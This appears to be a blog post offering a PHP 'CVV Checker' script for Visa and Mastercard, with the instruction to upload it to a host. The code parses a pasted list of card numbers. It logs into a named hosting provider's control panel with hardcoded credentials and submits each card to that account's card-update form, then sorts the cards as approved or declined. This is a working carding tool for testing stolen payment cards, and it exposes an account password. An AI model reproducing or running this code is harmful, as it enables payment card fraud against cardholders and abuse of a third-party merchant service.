CVV Checker (Visa & Mastercard)
Save it as something.php upload it a host and check
PHP Code:
<?php
ob_start();
@session_start();set_time_limit(0);
function _curl($url,$post="",$usecookie = false) {
$ch = curl_init();
if($post) {
curl_setopt($ch, CURLOPT_POST ,1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
if ($usecookie) {
curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);
curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$result=curl_exec ($ch);
curl_close ($ch);
return $result;
}
function percent($num_amount, $num_total) {$count1 = $num_amount / $num_total; $count2 = $count1 * 100; $count = number_format($count2, 0);
return $count;
}
function getStr1($string,$start,$end){
$str = explode($start,$string);
$str = explode($end,$str[1]);
return $str[0];
}
function getStr($string,$start,$end){
$str = explode($start,$string,2);
if(isset($str[1])){
$str = explode($end,$str[1]);
return $str[0];
}
return $str[0];
}
function checkMon($date,$type){
$len = strlen($date);
if ($type == 2){
if($len == 2){
return $date;
}
elseif($len == 1){
switch($date){
case '1': $date='01'; break;
case '2': $date='02'; break;
case '3': $date='03'; break;
case '4': $date='04'; break;
case '5': $date='05'; break;
case '6': $date='06'; break;
case '7': $date='07'; break;
case '8': $date='08'; break;
case '9': $date='09'; break;
}
}
return $date;
}
elseif ($type == 1){
if($len == 2){
switch ($date){
case '01': $date='1'; break;
case '02': $date='2'; break;
case '03': $date='3'; break;
case '04': $date='4'; break;
case '05': $date='5'; break;
case '06': $date='6'; break;
case '07': $date='7'; break;
case '08': $date='8'; break;
case '09': $date='9'; break;
case '10': $date='10'; break;
case '11': $date='11'; break;
case '12': $date='12'; break;
}
return $date;
}
elseif($len == 1) return $date;
}
else return false;
}
function checkYear1($date,$type){
$len = strlen($date);
if($type == 4){
if($len == 4) return substr($date,-2);
elseif($len == 2) return $date;
// elseif($len == 2) return "20".$date;
}
elseif($type == 2){
if($len == 2) return $date;
elseif($len == 4) return substr($date,-2);
}
else return false;
}
function checkYear($date,$type){
$len = strlen($date);
if($type == 4){
if($len == 4) return $date;
elseif($len == 2) return "20".$date;
}
elseif($type == 2){
if($len == 2) return $date;
elseif($len == 4) return substr($date,-2);
}
else return false;
}
function multi_explode($pattern, $string, $standardDelimiter = ':'){
$string = preg_replace(array($pattern, "/{$standardDelimiter}+/s"), $standardDelimiter, $string);
return explode($standardDelimiter, $string);
}
function info($ccline,$type){
$iscvv = 1;
$pattern = '/[:\|\\\|\\/\s]/';
$line = multi_explode($pattern,$ccline);
$typemy = explode(" ",$type);
$typem = strlen($typemy[0]);
$typey = strlen($typemy[1]);
$amex = "3";
$visa = "visa";
$mast = "master"; //type=master
$disc = "6";
foreach($line as $col){
if(is_numeric($col)){
switch(strlen($col)){
case 15:
if(substr($col,0,1)==3){
$ccnum['num'] = $col;
$ccnum['type'] = $amex;
}
break;
case 16:
switch(substr($col,0,1)){
case '4':
$ccnum['num'] = $col;
$ccnum['type'] = $visa;
break;
case '5':
$ccnum['num'] = $col;
$ccnum['type'] = $mast;
break;
case '6':
$ccnum['num'] = $col;
$ccnum['type'] = $disc;
break;
}
break;
case 1:
if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))) $ccnum['mon'] = checkMon($col,$typem); break;
case 2:
if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))){
$ccnum['mon'] = checkMon($col,$typem);
}
elseif (($col >= 9) and ($col <= 19) and (isset($ccnum['mon'])) and (!isset($ccnum['year']))) $ccnum['year'] = checkYear($col,$typey);
break;
case 4:
if (($col >= 2009) and ($col <= 2019) and (isset($ccnum['mon']))) $ccnum['year'] = checkYear($col,$typey);
elseif ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,2)>= 9) and (substr($col,2,2) <= 19) and (!isset($ccnum['mon'])) and (!isset($ccnum['year']))){
$ccnum['mon'] = checkMon(substr($col,0,2),$typem);
$ccnum['year'] = checkYear(substr($col,-2),$typey);
}
else $ccv['cv4'] = $col;
break;
case 6:
if ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,4)>= 2009) and (substr($col,2,4) <= 2019)){
$ccnum['mon'] = checkMon(substr($col,0,2),$typem);
$ccnum['year'] = checkYear(substr($col,-2),$typey);
}
break;
case 3:
$ccv['cv3'] = $col;
break;
}
}
}
if($iscvv == 1){
if (@$ccnum['type'] == $amex) @$ccnum['cvv'] = @$ccv['cv4'];
else $ccnum['cvv'] = @$ccv['cv3'];
return $ccnum;
}
}
function inStr($s,$as){
$s=strtoupper($s);
if(!is_array($as)) $as=array($as);
for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
return false;
}
if (isset($_POST['cclist'])){
global $cookie;
$cookie = tempnam('cookie','xxx'.rand(1000000,9999999).'xxxx.txt');
$cclive = "";
$ccdie = "";
$ccerr = "";
$cccant = "";
$uncheck = "";
$cclist = trim($_POST['cclist']);
$cclist = str_replace(array("\\\"","\\'"),array("\"","'"),$cclist);
$cclist = str_replace("\r\r","\r",$cclist);
$cclist = str_replace("\n\n","\n",$cclist);
$cclist = str_replace(",","|",$cclist);
$cclist = str_replace("/","|",$cclist);
$cclist = str_replace("|","|",$cclist);
$cclist = str_replace("||","|",$cclist);
$cclist = explode("\n",$cclist);
$STT = 0;
$TOTAL = count($cclist);
for($i=0;$i<count($cclist);$i++){
$ccnum = info($cclist[$i],"xx yyyy");
$type = @$ccnum['type'];
$ccn = @$ccnum['num'];
$ccmon = @$ccnum['mon'];
$ccyear = @$ccnum['year'];
$cvv = @$ccnum['cvv'];
if ($ccn){
$STT++;
$url = "https://control.brightbox.co.uk/login";
$post = "email=Anighbold40%40gustr.com&password=shadow5&x=48&y=10";
$s = _curl($url,$post,$cookie);
$url = "https://control.brightbox.co.uk/accounts/jmgkcggccgh/change_card_details";
$post = "type=$type&name=fghgfjg+hfhdf&number=$ccn&verification=$cvv&month=$ccmon&year=$ccyear&x=43&y=11";
$s = _curl($url,$post,$cookie);
if(inStr($s,array("Your card details have been updated")) ){
echo "<cennter>$STT/$TOTAL | <font color=blue><b>Approved | </font></b>".$cclist[$i]."<br></center>";
$cclive .= "Approved ==> " .$cclist[$i]. "\n";
}
elseif(inStr($s,array("Please check the details you supplied"))){
echo "$STT/$TOTAL | <font color=red><b>Declined | </font></b>".$cclist[$i]."<br>";
$ccdie .= $cclist[$i]."\n";
}
elseif(stristr($s,'is not a valid expiration date')){
echo "$STT/$TOTAL | <font color=red><b>EXP invalid ==> | </font></b>".$cclist[$i]."<br>";
$ccerr .= $cclist[$i]."\n";
}
else{
echo "$STT/$TOTAL | <font color=orange><b>CantCheck ==> | </font></b>".$cclist[$i]."<br>";
$cccant .= $cclist[$i]."\n";
}
}
flush();
}
unlink($cookie);
$per1 = percent(count(explode("\n",$cclive))-1,count($cclist));
$per2 = percent(count(explode("\n",$ccdie))-1,count($cclist));
$per3 = percent(count(explode("\n",$ccerr))-1,count($cclist));
$per4 = percent(count(explode("\n",$cccant))-1,count($cclist));
$per5 = percent(count(explode("\n",$uncheck))-1,count($cclist));
echo "<center>";
if($cclive!=""){
echo "<h2><font color=blue>Approved</font> $per1 % (".(count(explode("\n",$cclive))-1)."/".count($cclist).")</h2>";
echo "<textarea cols=90 rows=10>$cclive</textarea><br>";
}
if($ccdie!=""){
echo "<h2><font color=red>Declined</font> $per2 % (".(count(explode("\n",$ccdie))-1)."/".count($cclist).")</h2>";
echo "<textarea cols=90 rows=10>$ccdie</textarea><br>";
}
if($ccerr!=""){
echo "<h2><font color=orange>Error</font> $per3 % (".(count(explode("\n",$ccerr))-1)."/".count($cclist).")</h2>";
echo "<textarea cols=90 rows=10>$ccerr</textarea><br>";
}
if($cccant!=""){
echo "<h2><font color=green>CantCheck</font> $per4 % (".(count(explode("\n",$cccant))-1)."/".count($cclist).")</h2>";
echo "<textarea cols=90 rows=10>$cccant</textarea><br>";
}
if($uncheck!=""){
echo "<h2><font color=green>UnCheck</font> $per5 % (".(count(explode("\n",$uncheck))-1)."/".count($cclist).")</h2>";
echo "<textarea cols=90 rows=10>$uncheck</textarea><br>";
}
}
else{?>
<html>
<title>--[ CCV Checker ]--</title>
<body>
<center><h1>--[ CCV Checker | VISA & Master Card]--</h1><br>Credit Card List:
<form action="" method=post name=f>
<textarea wrap="off" name=cclist cols=90 rows=20></textarea><br>
<b>Dupe : <input name=dup type=checkbox value=1 checked> --- Sort Date: <input name=date type=checkbox value=1 checked> --- Check Theo Bin: <input style="width:150px" class="smaill"type=text name=bin MAXLENGTH=6 size=8></b>
<br> <input style="width:100px" class="button" type=submit name=submit size=10 value="CHECK NOW">
</form>
<?php }?>
Comments
Post a Comment